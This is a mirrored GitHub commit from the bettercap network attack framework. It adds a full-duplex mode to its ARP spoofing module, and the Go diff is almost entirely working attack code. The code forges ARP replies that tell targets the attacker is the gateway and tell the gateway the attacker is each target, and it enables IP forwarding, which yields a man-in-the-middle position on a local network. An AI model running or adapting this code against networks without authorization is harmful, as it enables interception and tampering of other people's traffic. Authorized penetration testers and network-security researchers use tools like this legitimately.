mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 13:09:49 -07:00
new: implemented arp.spoof.fullduplex (closes #426)
This commit is contained in:
parent
0bb9acf033
commit
261789d592
1 changed files with 94 additions and 42 deletions
|
@ -20,6 +20,7 @@ type ArpSpoofer struct {
|
||||||
macs []net.HardwareAddr
|
macs []net.HardwareAddr
|
||||||
wAddresses []net.IP
|
wAddresses []net.IP
|
||||||
wMacs []net.HardwareAddr
|
wMacs []net.HardwareAddr
|
||||||
|
fullDuplex bool
|
||||||
internal bool
|
internal bool
|
||||||
ban bool
|
ban bool
|
||||||
waitGroup *sync.WaitGroup
|
waitGroup *sync.WaitGroup
|
||||||
|
@ -34,6 +35,7 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
||||||
wMacs: make([]net.HardwareAddr, 0),
|
wMacs: make([]net.HardwareAddr, 0),
|
||||||
ban: false,
|
ban: false,
|
||||||
internal: false,
|
internal: false,
|
||||||
|
fullDuplex: false,
|
||||||
waitGroup: &sync.WaitGroup{},
|
waitGroup: &sync.WaitGroup{},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -45,6 +47,10 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
||||||
"false",
|
"false",
|
||||||
"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
|
"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
|
||||||
|
|
||||||
|
p.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
|
||||||
|
"false",
|
||||||
|
"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
|
p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
|
||||||
"Start ARP spoofer.",
|
"Start ARP spoofer.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
|
@ -90,7 +96,9 @@ func (p *ArpSpoofer) Configure() error {
|
||||||
var targets string
|
var targets string
|
||||||
var whitelist string
|
var whitelist string
|
||||||
|
|
||||||
if err, p.internal = p.BoolParam("arp.spoof.internal"); err != nil {
|
if err, p.fullDuplex = p.BoolParam("arp.spoof.fullduplex"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, p.internal = p.BoolParam("arp.spoof.internal"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, targets = p.StringParam("arp.spoof.targets"); err != nil {
|
} else if err, targets = p.StringParam("arp.spoof.targets"); err != nil {
|
||||||
return err
|
return err
|
||||||
|
@ -105,10 +113,10 @@ func (p *ArpSpoofer) Configure() error {
|
||||||
log.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", p.addresses, p.macs, p.wAddresses, p.wMacs)
|
log.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", p.addresses, p.macs, p.wAddresses, p.wMacs)
|
||||||
|
|
||||||
if p.ban {
|
if p.ban {
|
||||||
log.Warning("Running in BAN mode, forwarding not enabled!")
|
log.Warning("running in ban mode, forwarding not enabled!")
|
||||||
p.Session.Firewall.EnableForwarding(false)
|
p.Session.Firewall.EnableForwarding(false)
|
||||||
} else if !p.Session.Firewall.IsForwardingEnabled() {
|
} else if !p.Session.Firewall.IsForwardingEnabled() {
|
||||||
log.Info("Enabling forwarding.")
|
log.Info("enabling forwarding")
|
||||||
p.Session.Firewall.EnableForwarding(true)
|
p.Session.Firewall.EnableForwarding(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -129,9 +137,13 @@ func (p *ArpSpoofer) Start() error {
|
||||||
neighbours = list.Expand()
|
neighbours = list.Expand()
|
||||||
nNeigh := len(neighbours) - 2
|
nNeigh := len(neighbours) - 2
|
||||||
|
|
||||||
log.Warning("ARP spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
|
log.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
|
||||||
} else {
|
} else {
|
||||||
log.Info("ARP spoofer started, probing %d targets.", nTargets)
|
log.Info("arp spoofer started, probing %d targets.", nTargets)
|
||||||
|
}
|
||||||
|
|
||||||
|
if p.fullDuplex {
|
||||||
|
log.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
|
||||||
}
|
}
|
||||||
|
|
||||||
p.waitGroup.Add(1)
|
p.waitGroup.Add(1)
|
||||||
|
@ -140,10 +152,10 @@ func (p *ArpSpoofer) Start() error {
|
||||||
gwIP := p.Session.Gateway.IP
|
gwIP := p.Session.Gateway.IP
|
||||||
myMAC := p.Session.Interface.HW
|
myMAC := p.Session.Interface.HW
|
||||||
for p.Running() {
|
for p.Running() {
|
||||||
p.sendArp(gwIP, myMAC, true, false)
|
p.arpSpoofTargets(gwIP, myMAC, true, false)
|
||||||
for _, address := range neighbours {
|
for _, address := range neighbours {
|
||||||
if !p.Session.Skip(address) {
|
if !p.Session.Skip(address) {
|
||||||
p.sendArp(address, myMAC, true, false)
|
p.arpSpoofTargets(address, myMAC, true, false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -155,7 +167,7 @@ func (p *ArpSpoofer) Start() error {
|
||||||
func (p *ArpSpoofer) unSpoof() error {
|
func (p *ArpSpoofer) unSpoof() error {
|
||||||
nTargets := len(p.addresses) + len(p.macs)
|
nTargets := len(p.addresses) + len(p.macs)
|
||||||
log.Info("restoring ARP cache of %d targets.", nTargets)
|
log.Info("restoring ARP cache of %d targets.", nTargets)
|
||||||
p.sendArp(p.Session.Gateway.IP, p.Session.Gateway.HW, false, false)
|
p.arpSpoofTargets(p.Session.Gateway.IP, p.Session.Gateway.HW, false, false)
|
||||||
|
|
||||||
if p.internal {
|
if p.internal {
|
||||||
list, _ := iprange.ParseList(p.Session.Interface.CIDR())
|
list, _ := iprange.ParseList(p.Session.Interface.CIDR())
|
||||||
|
@ -163,7 +175,7 @@ func (p *ArpSpoofer) unSpoof() error {
|
||||||
for _, address := range neighbours {
|
for _, address := range neighbours {
|
||||||
if !p.Session.Skip(address) {
|
if !p.Session.Skip(address) {
|
||||||
if realMAC, err := p.Session.FindMAC(address, false); err == nil {
|
if realMAC, err := p.Session.FindMAC(address, false); err == nil {
|
||||||
p.sendArp(address, realMAC, false, false)
|
p.arpSpoofTargets(address, realMAC, false, false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -197,43 +209,56 @@ func (p *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
|
func (p *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
|
||||||
|
targets := make(map[string]net.HardwareAddr)
|
||||||
|
|
||||||
|
// add targets specified by IP address
|
||||||
|
for _, ip := range p.addresses {
|
||||||
|
if p.Session.Skip(ip) {
|
||||||
|
log.Debug("skipping IP %s from arp spoofing.", ip)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// do we have this ip mac address?
|
||||||
|
if hw, err := p.Session.FindMAC(ip, probe); err != nil {
|
||||||
|
log.Debug("could not find hardware address for %s", ip.String())
|
||||||
|
} else {
|
||||||
|
targets[ip.String()] = hw
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// add targets specified by MAC address
|
||||||
|
for _, hw := range p.macs {
|
||||||
|
if ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false); err != nil {
|
||||||
|
log.Warning("could not find IP address for %s", hw.String())
|
||||||
|
} else if p.Session.Skip(net.ParseIP(ip)) {
|
||||||
|
log.Debug("skipping address %s from arp spoofing.", ip)
|
||||||
|
} else {
|
||||||
|
targets[ip] = hw
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return targets
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
|
||||||
p.waitGroup.Add(1)
|
p.waitGroup.Add(1)
|
||||||
defer p.waitGroup.Done()
|
defer p.waitGroup.Done()
|
||||||
|
|
||||||
targets := make(map[string]net.HardwareAddr)
|
gwIP := p.Session.Gateway.IP
|
||||||
for _, ip := range p.addresses {
|
gwHW := p.Session.Gateway.HW
|
||||||
if p.Session.Skip(ip) {
|
ourHW := p.Session.Interface.HW
|
||||||
log.Debug("Skipping address %s from ARP spoofing.", ip)
|
isGW := false
|
||||||
continue
|
isSpoofing := false
|
||||||
}
|
|
||||||
|
|
||||||
// do we have this ip mac address?
|
// are we spoofing the gateway IP?
|
||||||
hw, err := p.Session.FindMAC(ip, probe)
|
if bytes.Equal(saddr, gwIP) {
|
||||||
if err != nil {
|
isGW = true
|
||||||
log.Debug("Could not find hardware address for %s, retrying in one second.", ip.String())
|
// are we restoring the original MAC of the gateway?
|
||||||
continue
|
if !bytes.Equal(smac, gwHW) {
|
||||||
|
isSpoofing = true
|
||||||
}
|
}
|
||||||
|
|
||||||
targets[ip.String()] = hw
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, hw := range p.macs {
|
for ip, mac := range p.getTargets(probe) {
|
||||||
ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false)
|
|
||||||
if err != nil {
|
|
||||||
log.Warning("Could not find IP address for %s, retrying in one second.", hw.String())
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
if p.Session.Skip(net.ParseIP(ip)) {
|
|
||||||
log.Debug("Skipping address %s from ARP spoofing.", ip)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
targets[ip] = hw
|
|
||||||
}
|
|
||||||
|
|
||||||
for ip, mac := range targets {
|
|
||||||
if check_running && !p.Running() {
|
if check_running && !p.Running() {
|
||||||
return
|
return
|
||||||
} else if p.isWhitelisted(ip, mac) {
|
} else if p.isWhitelisted(ip, mac) {
|
||||||
|
@ -243,11 +268,38 @@ func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, pkt := packets.NewARPReply(saddr, smac, net.ParseIP(ip), mac); err != nil {
|
rawIP := net.ParseIP(ip)
|
||||||
log.Error("Error while creating ARP spoof packet for %s: %s", ip, err)
|
if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
|
||||||
|
log.Error("error while creating ARP spoof packet for %s: %s", ip, err)
|
||||||
} else {
|
} else {
|
||||||
log.Debug("Sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
|
log.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
|
||||||
p.Session.Queue.Send(pkt)
|
p.Session.Queue.Send(pkt)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if p.fullDuplex && isGW {
|
||||||
|
err := error(nil)
|
||||||
|
gwPacket := []byte(nil)
|
||||||
|
|
||||||
|
if isSpoofing {
|
||||||
|
log.Debug("telling the gw we are %s", ip)
|
||||||
|
// we told the target we're te gateway, not let's tell the
|
||||||
|
// gateway that we are the target
|
||||||
|
if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
|
||||||
|
log.Error("error while creating ARP spoof packet: %s", err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
log.Debug("telling the gw %s is %s", ip, mac)
|
||||||
|
// send the gateway the original MAC of the target
|
||||||
|
if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
|
||||||
|
log.Error("error while creating ARP spoof packet: %s", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if gwPacket != nil {
|
||||||
|
if err = p.Session.Queue.Send(gwPacket); err != nil {
|
||||||
|
log.Error("error while sending packet: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue